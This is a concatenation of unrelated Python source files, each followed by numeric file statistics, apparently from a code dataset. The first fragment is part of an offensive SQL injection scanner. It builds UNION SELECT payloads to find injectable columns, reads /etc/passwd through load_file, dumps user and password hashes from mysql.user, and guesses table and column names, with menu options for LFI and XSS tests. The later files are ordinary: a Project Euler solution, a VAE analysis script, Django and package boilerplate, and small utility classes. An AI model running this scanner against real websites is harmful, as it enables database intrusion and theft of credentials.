== '1': injtest() if chce == '2': injtest() print B+"\n[+] Preparing for Column Finder ..." print "[+] Can take a while ..." print "[!] Working ..." # Thanks rsauron for schemafuzz for host in col: print R+"\n[+] Target: ", O+host print R+"[+] Attempting to find the number of columns ..." print "[+] Testing: ", checkfor = [] host = host.rsplit("'", 1)[0] sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva makepretty = "" for x in xrange(0, colMax): try: sys.stdout.write("%s," % (x)) sys.stdout.flush() darkc0de = "dark"+str(x)+"c0de" checkfor.append(darkc0de) if x > 0: sitenew += "," sitenew += "0x"+darkc0de.encode("hex") finalurl = sitenew+arg_end gets += 1 source = urllib2.urlopen(finalurl).read() for y in checkfor: colFound = re.findall(y, source) if len(colFound) >= 1: print "\n[+] Column length is:", len(checkfor) nullcol = re.findall(("\d+"), y) print "[+] Found null column at column #:", nullcol[0] for z in xrange(0, len(checkfor)): if z > 0: makepretty += "," makepretty += str(z) site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty print "[+] SQLi URL:", site+arg_end site = site.replace(","+nullcol[0]+",",",darkc0de,") site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,") site = site.replace(","+nullcol[0],",darkc0de") print "[+] darkc0de URL:", site darkurl.append(site) print "[-] Done!\n" break except(KeyboardInterrupt, SystemExit): raise except: pass print "\n[!] Sorry column length could not be found\n" ########### print B+"\n[+] Gathering MySQL Server Configuration..." for site in darkurl: head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end print R+"\n[+] Target:", O+site while 1: try: gets += 1 source = urllib2.urlopen(head_URL).read() match = re.findall("\x1e\x1e\S+", source) if len(match) >= 1: match = match[0][2:].split("\x1e") version = match[0] user = match[1] database = match[2] print W+"\n\tDatabase:", database print "\tUser:", user print "\tVersion:", version version = version[0] load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)") source = urllib2.urlopen(load).read() if re.findall("root:x", source): load = site.replace("darkc0de", "concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)") source = urllib2.urlopen(load).read() search = re.findall("baltazar", source) if len(search) > 0: print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")") load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user" source = urllib2.urlopen(load).read() if re.findall("baltazar", source): print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user" print W+"\n[+] Number of tables:",len(tables) print "[+] Number of columns:",len(columns) print "[+] Checking for tables and columns..." target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T" for table in tables: try: target_table = target.replace("T", table) source = urllib2.urlopen(target_table).read() search = re.findall("baltazar", source) if len(search) > 0: print "\n[!] w00t!w00t! Found a table called: < "+table+" >" print "\n[+] Lets check for columns inside table < "+table+" >" for column in columns: try: source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read() search = re.findall("baltazar", source) if len(search) > 0: print "\t[!] w00t!w00t! Found a column called: < "+column+" >" except(KeyboardInterrupt, SystemExit): raise except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout): pass print "\n[-] Done searching inside table < "+table+" > for columns!" except(KeyboardInterrupt, SystemExit): raise except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout): pass print "[!] Fuzzing is finished!" break except(KeyboardInterrupt, SystemExit): raise if chce == '3': lfitest() if chce == '4': xsstest() if chce == '5': injtest() lfitest() if chce == '6': injtest() xsstest() if chce == '7': lfitest() xsstest() if chce == '8': injtest() lfitest() xsstest() if chce == '9': print B+"\nSaving valid urls ("+str(len(finallist))+") to file" listname = raw_input("Filename: ") list_name = open(listname, "w") finallist.sort() for t in finallist: list_name.write(t+"\n") list_name.close() print "Urls saved, please check", listname if chce == '10': print W+"\nPrinting valid urls:\n" finallist.sort() for t in finallist: print B+t if chce == '11': print B+"\nVuln found ",len(vuln) if chce == '12': new = 1 print W+"" if chce == '0': print R+"\n[-] Exiting ..." mnu = False print W sys.exit(1)

151.291859

3,587

0.642353

14,296

98,491

4.353945

0.107373

0.07673

0.009784

0.010796

0.483629

0.425953

0.361175

0.343808

0.318087

0.282083

0

0.012304

0.103837

98,491

651

3,588

151.291859

0.692899

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1

0

1

0

null

0

1

0

4

dc8d32918dd28646757d919fffd7e6913e1a5298

2,737

py

Python

problems/pe8.py

tgetzoya/project-euler-python

c459dc0f853c27006db6865be731ad53ee2cd778

[ "BSD-2-Clause" ]

null

problems/pe8.py

tgetzoya/project-euler-python

c459dc0f853c27006db6865be731ad53ee2cd778

[ "BSD-2-Clause" ]

null

problems/pe8.py

tgetzoya/project-euler-python

c459dc0f853c27006db6865be731ad53ee2cd778

[ "BSD-2-Clause" ]

null

# The four adjacent digits in the 1000-digit number that have the greatest product are 9 × 9 × 8 × 9 = 5832. # # 73167176531330624919225119674426574742355349194934 # 96983520312774506326239578318016984801869478851843 # 85861560789112949495459501737958331952853208805511 # 12540698747158523863050715693290963295227443043557 # 66896648950445244523161731856403098711121722383113 # 62229893423380308135336276614282806444486645238749 # 30358907296290491560440772390713810515859307960866 # 70172427121883998797908792274921901699720888093776 # 65727333001053367881220235421809751254540594752243 # 52584907711670556013604839586446706324415722155397 # 53697817977846174064955149290862569321978468622482 # 83972241375657056057490261407972968652414535100474 # 82166370484403199890008895243450658541227588666881 # 16427171479924442928230863465674813919123162824586 # 17866458359124566529476545682848912883142607690042 # 24219022671055626321111109370544217506941658960408 # 07198403850962455444362981230987879927244284909188 # 84580156166097919133875499200524063689912560717606 # 05886116467109405077541002256983155200055935729725 # 71636269561882670428252483600823257530420752963450 # # Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What is the value of this product? # # Answer: 23514624000 def run(): very_large_number = 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450 list = [] while very_large_number > 0: list.append(very_large_number % 10) very_large_number = very_large_number // 10 list.reverse() hold = 0 for idx in range(0, len(list) - 13): sum = list[idx] for jdx in range(1, 13): sum *= list[idx + jdx] if sum > hold: hold = sum return hold

57.020833

1,024

0.882718

124

2,737

19.427419

0.548387

0.01868

0.031133

0.015774

0.049813

0

0.817562

0.088783

2,737

47

1,025

58.234043

0.147153

0.464742

0

1

0.066667

false

0

0.133333

0

1

null

0

1

0

1

0

1

0

null

0

4

f4a89f42760fc8f9723c4693372c1a9bb3bf6528

7,721

py

Python

scripts/print.py

DavideMammarella/USI-MSDE-Thesis-Code

9570e81170d93712b36b2b82bfa43dd7424e7d75

[ "MIT" ]

4

2021-09-10T18:19:48.000Z

2022-02-14T21:31:13.000Z

scripts/print.py

DavideMammarella/USI-MSDE-Thesis-Code

9570e81170d93712b36b2b82bfa43dd7424e7d75

[ "MIT" ]

null

scripts/print.py

DavideMammarella/USI-MSDE-Thesis-Code

9570e81170d93712b36b2b82bfa43dd7424e7d75

[ "MIT" ]

2

2022-01-31T22:55:11.000Z

2022-03-02T17:43:18.000Z

# Copyright 2021 Testing Automated @ Università della Svizzera italiana (USI) # All rights reserved. # This file is part of the project SelfOracle, a misbehaviour predictor for autonomous vehicles, # developed within the ERC project PRECRIME # and is released under the "MIT License Agreement". Please see the LICENSE # file that should have been included as part of this package. import tensorflow from scipy.stats import ttest_rel from tqdm import tqdm import utils from config import Config from utils import * from selforacle.vae import normalize_and_reshape, VAE WHAT = '-latent16-centerimg-nocrop' if __name__ == '__main__': os.chdir(os.getcwd().replace('scripts', '')) print(os.getcwd()) cfg = Config() cfg.from_pyfile("config_my.py") drive = utils.get_driving_styles(cfg) cfg.SIMULATION_NAME = 'gauss-journal-track3-nominal' data_nominal = load_all_images(cfg) encoder_mse = tensorflow.keras.models.load_model('sao/encoder-track3-MSEloss' + WHAT + '-CI-RETRAINED-2X-UNC') decoder_mse = tensorflow.keras.models.load_model('sao/decoder-track3-MSEloss' + WHAT + '-CI-RETRAINED-2X-UNC') vae_mse = VAE(model_name="encoder_mse", loss="MSE", latent_dim=cfg.SAO_LATENT_DIM, encoder=encoder_mse, decoder=decoder_mse) vae_mse.compile(optimizer=tensorflow.keras.optimizers.Adam(learning_rate=0.0001)) encoder_vae = tensorflow.keras.models.load_model('sao/encoder-track3-VAEloss' + WHAT + '-CI-RETRAINED-2X-UNC') decoder_vae = tensorflow.keras.models.load_model('sao/decoder-track3-VAEloss' + WHAT + '-CI-RETRAINED-2X-UNC') vae_vae = VAE(model_name="encoder_vae", loss="VAE", latent_dim=cfg.SAO_LATENT_DIM, encoder=encoder_vae, decoder=decoder_vae) vae_vae.compile(optimizer=tensorflow.keras.optimizers.Adam(learning_rate=0.0001)) i = 0 list_original = [] list_reconstructed_mse = [] list_reconstructed_vae = [] for x in tqdm(data_nominal): i += 1 x = utils.resize(x) x = normalize_and_reshape(x) list_original.append(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # z_mean, z_log_var, z = vae_mse.encoder.predict(x) # decoded = vae_mse.decoder.predict(z) reconstructed_mse = vae_mse.predict(x) reconstructed_vae = vae_vae.predict(x) list_reconstructed_mse.append( reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) list_reconstructed_vae.append( reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # if i % 400 == 0: # plt.figure(figsize=(80, 16)) # # display original # ax = plt.subplot(1, 3, 1) # plt.imshow(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("Original", fontsize=60) # # # display reconstruction # ax = plt.subplot(1, 3, 2) # plt.imshow(reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("MSE: %.4f" % vae_mse.test_on_batch(x)[2], fontsize=60) # # ax = plt.subplot(1, 3, 3) # plt.imshow(reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("MSE: %.4f" % vae_vae.test_on_batch(x)[2], fontsize=60) # # plt.savefig("plots/example-" + WHAT + "-" + str(i) + ".png") # plt.show() # plt.close() del data_nominal cfg.SIMULATION_NAME = 'gauss-journal-track3-rain' data_unseen = load_all_images(cfg) i = 0 list_original_unseen = [] list_reconstructed_mse_unseen = [] list_reconstructed_vae_unseen = [] for x in tqdm(data_unseen): i += 1 x = utils.resize(x) x = normalize_and_reshape(x) list_original_unseen.append(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # z_mean, z_log_var, z = vae_mse.encoder.predict(x) # decoded = vae_mse.decoder.predict(z) reconstructed_mse = vae_mse.predict(x) reconstructed_vae = vae_vae.predict(x) list_reconstructed_mse_unseen.append( reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) list_reconstructed_vae_unseen.append( reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # if i % 100 == 0: # plt.figure(figsize=(80, 16)) # # display original # ax = plt.subplot(1, 3, 1) # plt.imshow(x.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("Original", fontsize=60) # # # display reconstruction # ax = plt.subplot(1, 3, 2) # plt.imshow(reconstructed_mse.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("MSE: %.4f" % vae_mse.test_on_batch(x)[2], fontsize=60) # # ax = plt.subplot(1, 3, 3) # plt.imshow(reconstructed_vae.reshape(RESIZED_IMAGE_HEIGHT, RESIZED_IMAGE_WIDTH, IMAGE_CHANNELS)) # ax.get_xaxis().set_visible(False) # ax.get_yaxis().set_visible(False) # plt.title("MSE: %.4f" % vae_vae.test_on_batch(x)[2], fontsize=60) # # plt.savefig("plots/example-" + WHAT + "-" + str(i) + ".png") # plt.show() # plt.close() lpl_original = laplacian_variance(list_original) lpl_var_mse = laplacian_variance(list_reconstructed_mse) lpl_var_vae = laplacian_variance(list_reconstructed_vae) res = ttest_rel(lpl_var_mse, lpl_var_vae) print(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}') plt.hist(lpl_original, bins=50, alpha=0.2, label='nominal images') plt.hist(lpl_var_mse, bins=50, alpha=0.2, label='unseen images generated by VAE (MSE loss)') plt.hist(lpl_var_vae, bins=50, alpha=0.2, label='unseen images generated by VAE (VAE loss)') plt.legend(loc='upper right') plt.xlabel('Laplacian variance') plt.title(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}') plt.savefig("plots/laplacian-" + WHAT + ".png") plt.show() lpl_original = laplacian_variance(list_original) lpl_var_mse = laplacian_variance(list_reconstructed_mse_unseen) lpl_var_vae = laplacian_variance(list_reconstructed_vae_unseen) res = ttest_rel(lpl_var_mse, lpl_var_vae) print(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}') plt.hist(lpl_original, bins=50, alpha=0.2, label='nominal images') plt.hist(lpl_var_mse, bins=50, alpha=0.2, label='unseen images generated by VAE (MSE loss)') plt.hist(lpl_var_vae, bins=50, alpha=0.2, label='unseen images generated by VAE (VAE loss)') plt.legend(loc='upper right') plt.xlabel('Laplacian variance') plt.title(f'T-score = {res.statistic:.2f}, p-value = {res.pvalue:.2f}') plt.savefig("plots/laplacian-" + WHAT + ".png") plt.show()

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1

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null

0

4

f4b3694750e60ed3e0fe7bdb1e6b181b2037b0a5

260

py

Python

mysite/urls.py

AmanRiat1/uOttaHack

9cd301c21721ef792ffb1232434ac43dd47d5e14

[ "MIT" ]

null

mysite/urls.py

AmanRiat1/uOttaHack

9cd301c21721ef792ffb1232434ac43dd47d5e14

[ "MIT" ]

1

2020-12-04T23:30:06.000Z

mysite/urls.py

AmanRiat1/uOttaHack

9cd301c21721ef792ffb1232434ac43dd47d5e14

[ "MIT" ]

1

2020-12-04T03:58:36.000Z

from django.conf.urls import url from django.conf import settings from django.conf.urls.static import static from . import views urlpatterns = [ url(r'^$', views.basic, name='output'), ]+ static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)

21.666667

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260

5.243243

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null

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1

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4

f4da74d76e8b4b7d2353ddc78e08f1b7ecb77326

368

py

Python

src/transformers/models/herbert/__init__.py

timpal0l/transformers

d86d57faa3b6511c6e4d9139535d77b695b9af8a

[ "Apache-2.0" ]

2

2020-11-30T11:30:40.000Z

2021-03-26T17:20:33.000Z

src/transformers/models/herbert/__init__.py

timpal0l/transformers

d86d57faa3b6511c6e4d9139535d77b695b9af8a

[ "Apache-2.0" ]

3

2021-06-08T23:15:29.000Z

2022-01-13T03:40:10.000Z

src/transformers/models/herbert/__init__.py

timpal0l/transformers

d86d57faa3b6511c6e4d9139535d77b695b9af8a

[ "Apache-2.0" ]

1

2020-03-19T06:01:53.000Z

# flake8: noqa # There's no way to ignore "F401 '...' imported but unused" warnings in this # module, but to preserve other warnings. So, don't check this module at all. from ...file_utils import is_tokenizers_available from .tokenization_herbert import HerbertTokenizer if is_tokenizers_available(): from .tokenization_herbert_fast import HerbertTokenizerFast

33.454545

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5.54902

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0.176678

0.310954

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368

10

78

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0.882911

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1

0

1

0

4

761131b1eaaeacd29621489b9b218598a1087a49

96

py

Python

np/reference/ch6code/determinant.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

np/reference/ch6code/determinant.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

np/reference/ch6code/determinant.py

focusunsink/study_python

322326642db54df8725793d70a95d21ac40b6507

[ "MIT" ]

null

import numpy as np A = np.mat("3 4;5 6") print "A\n", A print "Determinant", np.linalg.det(A)

13.714286

37

0.635417

21

96

2.904762

0.714286

0

0.050633

0.177083

96

6

38

16

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0.21875

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null

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null

0

1

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null

0

1

0

1

0

4

761fd02c338fbdd75cbd8cf814665ce9941d451a

206

py

Python

sep/loaders/__init__.py

Fafa87/SEP

cdc8fdad83478d35aeb2992b8382aa4bc1763131

[ "MIT" ]

null

sep/loaders/__init__.py

Fafa87/SEP

cdc8fdad83478d35aeb2992b8382aa4bc1763131

[ "MIT" ]

null

sep/loaders/__init__.py

Fafa87/SEP

cdc8fdad83478d35aeb2992b8382aa4bc1763131

[ "MIT" ]

null

from .files import FilesLoader from .images import ImagesLoader from .loader import Loader from .movies import MoviesLoader, FrameByGroupSelector, FrameByIntervalSelector from .youtube import YoutubeLoader

34.333333

79

0.859223

22

206

8.045455

0.590909

0

0.106796

206

5

80

41.2

0.961957

0

1

0

true

0

1

0

1

0

1

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null

0

1

0

null

0

1

0

1

0

4

5211555aa6730b3a877c5281990d7e8bcef9d308

39

py

Python

pptx_template/__init__.py

skar404/pptx-template

f223b765c89224169f9621ebfa8e79be312a2598

[ "Apache-2.0" ]

1

2020-06-16T17:22:40.000Z

pptx_template/__init__.py

skar404/pptx-template

f223b765c89224169f9621ebfa8e79be312a2598

[ "Apache-2.0" ]

19

2018-01-26T13:04:03.000Z

2020-04-27T19:43:08.000Z

pptx_template/__init__.py

skar404/pptx-template

f223b765c89224169f9621ebfa8e79be312a2598

[ "Apache-2.0" ]

2

2018-05-14T18:18:57.000Z

2020-06-16T18:59:02.000Z

# coding=utf-8 __version__ = '0.2.7.6'

13

23

0.641026

8

39

2.625

1

0

0.147059

0.128205

39

2

24

19.5

0.470588

0.307692

0

0.28

0

1

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false

0

1

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null

0

1

0

1

0

null

0

4

521cb31b49429c735000fc8678d6cfb5420ec04c

196

py

Python

examples/apps/simple_imaging_app/__init__.py

jlvahldiek/monai-deploy-app-sdk

050aeabec581067a11566f59a2970b075d36ae7c

[ "Apache-2.0" ]

28

2021-09-17T18:16:42.000Z

2022-03-31T16:32:36.000Z

examples/apps/simple_imaging_app/__init__.py

jlvahldiek/monai-deploy-app-sdk

050aeabec581067a11566f59a2970b075d36ae7c

[ "Apache-2.0" ]

109

2021-09-17T18:34:31.000Z

2022-03-31T21:04:35.000Z

examples/apps/simple_imaging_app/__init__.py

jlvahldiek/monai-deploy-app-sdk

050aeabec581067a11566f59a2970b075d36ae7c

[ "Apache-2.0" ]

11

2021-09-17T20:23:31.000Z

2022-03-29T08:55:19.000Z

import os import sys _current_dir = os.path.abspath(os.path.dirname(__file__)) if sys.path and os.path.abspath(sys.path[0]) != _current_dir: sys.path.insert(0, _current_dir) del _current_dir

24.5

61

0.760204

34

196

4.029412

0.411765

0.291971

0.189781

0

0.011494

0.112245

196

7

62

28

0.775862

0

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0.333333

0

null

1

0

1

0

null

0

1

0

4

52213031642d4451fb1d0183770a419ec287cd7c

3,859

py

Python

pyserval/connection.py

umr-ds/pyserval

073363ee56754f122d5b09544f242d54a17165e3

[ "MIT" ]

1

2017-08-29T19:37:31.000Z

pyserval/connection.py

umr-ds/pyserval

073363ee56754f122d5b09544f242d54a17165e3

[ "MIT" ]

16

2017-11-29T16:41:35.000Z

2019-09-30T13:44:10.000Z

pyserval/connection.py

umr-ds/pyserval

073363ee56754f122d5b09544f242d54a17165e3

[ "MIT" ]

1

2017-08-20T21:51:52.000Z

""" pyserval.connection ~~~~~~~~~~~~~~~~~~~ """ from pyserval.lowlevel.connection import RestfulConnection from pyserval.exceptions import UnauthorizedError from typing import Any from requests.models import Response class CheckedConnection(RestfulConnection): """Encapsulates HTTP-calls and throws exceptions for common error-cases Args: host (str): Hostname to connect to port (int): Port to connect to user (str): Username for HTTP basic auth passwd (str): Password for HTTP basic auth """ def __init__( self, host: str = "localhost", port: int = 4110, user: str = "pyserval", passwd: str = "pyserval", ) -> None: RestfulConnection.__init__(self, host, port, user, passwd) def get(self, path: str, **params: Any) -> Response: """Sends GET-request to REST-API Args: path (str): (relative) path to the REST-endpoint params (Any): Additional parameters to be sent with the request Returns: requests.models.Response: Response returned by the serval-server Throws: UnauthorizedError: If username/password is wrong """ response = RestfulConnection.get(self, path, **params) if response.status_code == 401: raise UnauthorizedError() return response def post(self, path: str, **params: Any) -> Response: """Sends POST-request to REST-API Args: path (str): (relative) path to the REST-endpoint params (dict[str, Any]): Additional parameters to be sent with the request Returns: requests.models.Response: Response returned by the serval-server Throws: UnauthorizedError: If username/password is wrong """ response = RestfulConnection.post(self, path, **params) if response.status_code == 401: raise UnauthorizedError() return response def put(self, path: str, **params: Any) -> Response: """Sends PUT-request to REST-API Args: path (str): (relative) path to the REST-endpoint params (dict[str, Any]): Additional parameters to be sent with the request Returns: requests.models.Response: Response returned by the serval-server Throws: UnauthorizedError: If username/password is wrong """ response = RestfulConnection.put(self, path, **params) if response.status_code == 401: raise UnauthorizedError() return response def delete(self, path: str, **params: Any) -> Response: """Sends DELETE-request to REST-API Args: path (str): (relative) path to the REST-endpoint params (dict[str, Any]): Additional parameters to be sent with the request Returns: requests.models.Response: Response returned by the serval-server Throws: UnauthorizedError: If username/password is wrong """ response = RestfulConnection.delete(self, path, **params) if response.status_code == 401: raise UnauthorizedError() return response def patch(self, path: str, **params: Any) -> Response: """Sends PATCH-request to REST-API Args: path (str): (relative) path to the REST-endpoint params (dict[str, Any]): Additional parameters to be sent with the request Returns: requests.models.Response: Response returned by the serval-server Throws: UnauthorizedError: If username/password is wrong """ response = RestfulConnection.patch(self, path, **params) if response.status_code == 401: raise UnauthorizedError() return response

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1

0

1

0

null

0

1

0

4

523761fb91ccb5b06145e836b3ddc175d4955712

1,471

py

Python

germanetpy/wictionaryparaphrase.py

Blubberli/GermaNetPy

5a90a06a6c200c82fa477db879e03fb98dcb540c

[ "Apache-2.0" ]

2

2020-10-27T10:26:23.000Z

2022-02-02T15:31:56.000Z

germanetpy/wictionaryparaphrase.py

Blubberli/GermaNetPy

5a90a06a6c200c82fa477db879e03fb98dcb540c

[ "Apache-2.0" ]

null

germanetpy/wictionaryparaphrase.py

Blubberli/GermaNetPy

5a90a06a6c200c82fa477db879e03fb98dcb540c

[ "Apache-2.0" ]

1

2021-02-10T14:00:39.000Z

class WiktionaryParaphrase: def __init__(self, lexunit_id: str, wiktionary_id: str, wiktionary_sense_id: int, wiktionary_sense: str, edited: bool): """ This class holds the Wictionary paraphrase object. A wictionary paraphrase can be part of lexical units. The contain a definition of the lexical unit which helps to differentiate between different sense of a word. :param lexunit_id: The lexical unit id, this wictionary entry belongs to :param wiktionary_id: The corresponding wictionary identifier :param wiktionary_sense_id: The sense identifier :param wiktionary_sense: The sense definition :param edited: If this paraphrase was edited. """ self._lexunit_id = lexunit_id self._wiktionary_id = wiktionary_id self._wiktionary_sense_id = wiktionary_sense_id self._wiktionary_sense = wiktionary_sense self._edited = edited def __repr__(self): return f'Wictionary(LexUnit ID={self.lexunit_id}, definition={self.wiktionary_sense})' @property def lexunit_id(self): return self._lexunit_id @property def wiktionary_id(self): return self._wiktionary_id @property def wiktionary_sense_id(self): return self._wiktionary_sense_id @property def wiktionary_sense(self): return self._wiktionary_sense @property def edited(self): return self._edited

35.02381

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0

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41

117

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1

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false

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0

null

1

0

null

0

1

0

1

0

4

5260a7678db3b63edbc71c51ad71ae9979094943

328

py

Python

tests/python/generated_typing_t.py

mychiux413/ConstConv

6c2190d1bb37ae5cfef8464f88371db97719b032

[ "MIT" ]

null

tests/python/generated_typing_t.py

mychiux413/ConstConv

6c2190d1bb37ae5cfef8464f88371db97719b032

[ "MIT" ]

null

tests/python/generated_typing_t.py

mychiux413/ConstConv

6c2190d1bb37ae5cfef8464f88371db97719b032

[ "MIT" ]

null

from .generated_typing import MultiLangs, ZH_TW, EN def test_generated(): ml = MultiLangs(ZH_TW) assert ml.hello == "您好,歡迎" assert ml.login == "登入" assert ml.select_lang == "繁體中文" ml.set_lang(EN) assert ml.hello == "Hello,Welcome" assert ml.login == "Login" assert ml.select_lang == "English"

23.428571

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0.64939

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328

4.382979

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0.174757

0

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328

13

52

25.230769

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0

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1

0

1

0

null

0

1

0

4

528ef36f77cf3b8f1e175d53a9b454dd3f9a04dc

919

py

Python

jobcrawler/core/email/address.py

amakus/JobCrawler

770e05dd439ad3c269aeb3d7e284d891893faa2d

[ "MIT" ]

null

jobcrawler/core/email/address.py

amakus/JobCrawler

770e05dd439ad3c269aeb3d7e284d891893faa2d

[ "MIT" ]

1

2021-11-15T17:48:36.000Z

jobcrawler/core/email/address.py

amakus/JobCrawler

770e05dd439ad3c269aeb3d7e284d891893faa2d

[ "MIT" ]

null

class EmailAddress: def __init__(self, email): self.email = email self._email_tpl = tuple(self._email.split('@')) def __str__(self): return self.email def __repr__(self): return f"{EmailAddress.__name__}('{self.email}')" @property def email(self): return self._email @email.setter def email(self, email): self._email = str(email) if not self._is_valid(): raise ValueError(f'{self.email} is not a valid email address') @property def user(self): return self._email_tpl[0] @property def domain(self): return self._email_tpl[1] def _is_valid(self): email_split = self._email.split('@') if len(email_split) != 2: return False domain_split = email_split[1].split('.') if len(domain_split) < 2: return False return True

22.414634

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919

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null

0

1

0

1

0

4

bfe9947640d576744abfd3f0393187a29fca3d7d

235

py

Python

finance_ml/features/__init__.py

zli69/finance_ml

1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4

[ "MIT" ]

51

2019-02-01T19:43:37.000Z

2022-03-16T09:07:03.000Z

finance_ml/features/__init__.py

zli69/finance_ml

1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4

[ "MIT" ]

2

2019-02-23T18:54:22.000Z

2019-11-09T01:30:32.000Z

finance_ml/features/__init__.py

zli69/finance_ml

1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4

[ "MIT" ]

35

2019-02-08T02:00:31.000Z

2022-03-01T23:17:00.000Z

from .importance import feat_imp_MDA, feat_imp_MDI, feat_imp_SFI from .orth import get_evec, ortho_feats from .entropy import match_length, lempel_zib_lib, get_entropy_rate, plug_in, konto from .fraction import get_opt_d, frac_diff_FFD

58.75

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null

0

1

0

1

0

1

0

4

87058c59d2c4c5e43ec4ee6c9b06e7466fd2ec9f

158

py

Python

reference/apps.py

tanyong8520/tushare

d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72

[ "MIT" ]

null

reference/apps.py

tanyong8520/tushare

d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72

[ "MIT" ]

null

reference/apps.py

tanyong8520/tushare

d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class ReferenceConfig(AppConfig): name = 'reference'

17.555556

39

0.740506

18

158

6.222222

0.833333

0

0.007519

0.158228

158

8

40

19.75

0.834586

0.132911

0

0.066667

0

1

0

false

0

0.5

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0

1

0

null

0

1

0

null

0

1

0

1

0

4

870e009beb8185d059ba2585c55121f3e36f9fac

207

py

Python

vector.py

progs2002/Langton-s-Ant

7c43250860f206965ba15b89028101a80cb30638

[ "MIT" ]

4

2021-06-08T07:42:02.000Z

2021-07-15T15:30:39.000Z

vector.py

progs2002/Langton-s-Ant

7c43250860f206965ba15b89028101a80cb30638

[ "MIT" ]

null

vector.py

progs2002/Langton-s-Ant

7c43250860f206965ba15b89028101a80cb30638

[ "MIT" ]

2

2021-07-15T15:30:41.000Z

2021-07-15T15:35:20.000Z

class Vector: def __init__(self,x,y): self.x=x self.y=y def __repr__(self): return str(self.x) +"i, "+ str(self.y)+"j" def dotProduct(v1,v2): return v1.x*v2.x + v1.y*v2.y

23

50

0.550725

38

207

2.789474

0.394737

0.141509

0

0.039474

0.2657

207

9

51

23

0.657895

0

0.019231

0

1

0.375

false

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0.25

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0

null

0

1

0

null

0

1

0

1

0

4

871c4d2f3cbdc2c494c6d85479924186043e1f43

248

py

Python

mayan/apps/common/queues.py

CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons

0e4e919fd2e1ded6711354a0330135283e87f8c7

[ "Apache-2.0" ]

2

2021-09-12T19:41:19.000Z

2021-09-12T19:41:20.000Z

mayan/apps/common/queues.py

CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons

0e4e919fd2e1ded6711354a0330135283e87f8c7

[ "Apache-2.0" ]

37

2021-09-13T01:00:12.000Z

2021-10-02T03:54:30.000Z

mayan/apps/common/queues.py

CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons

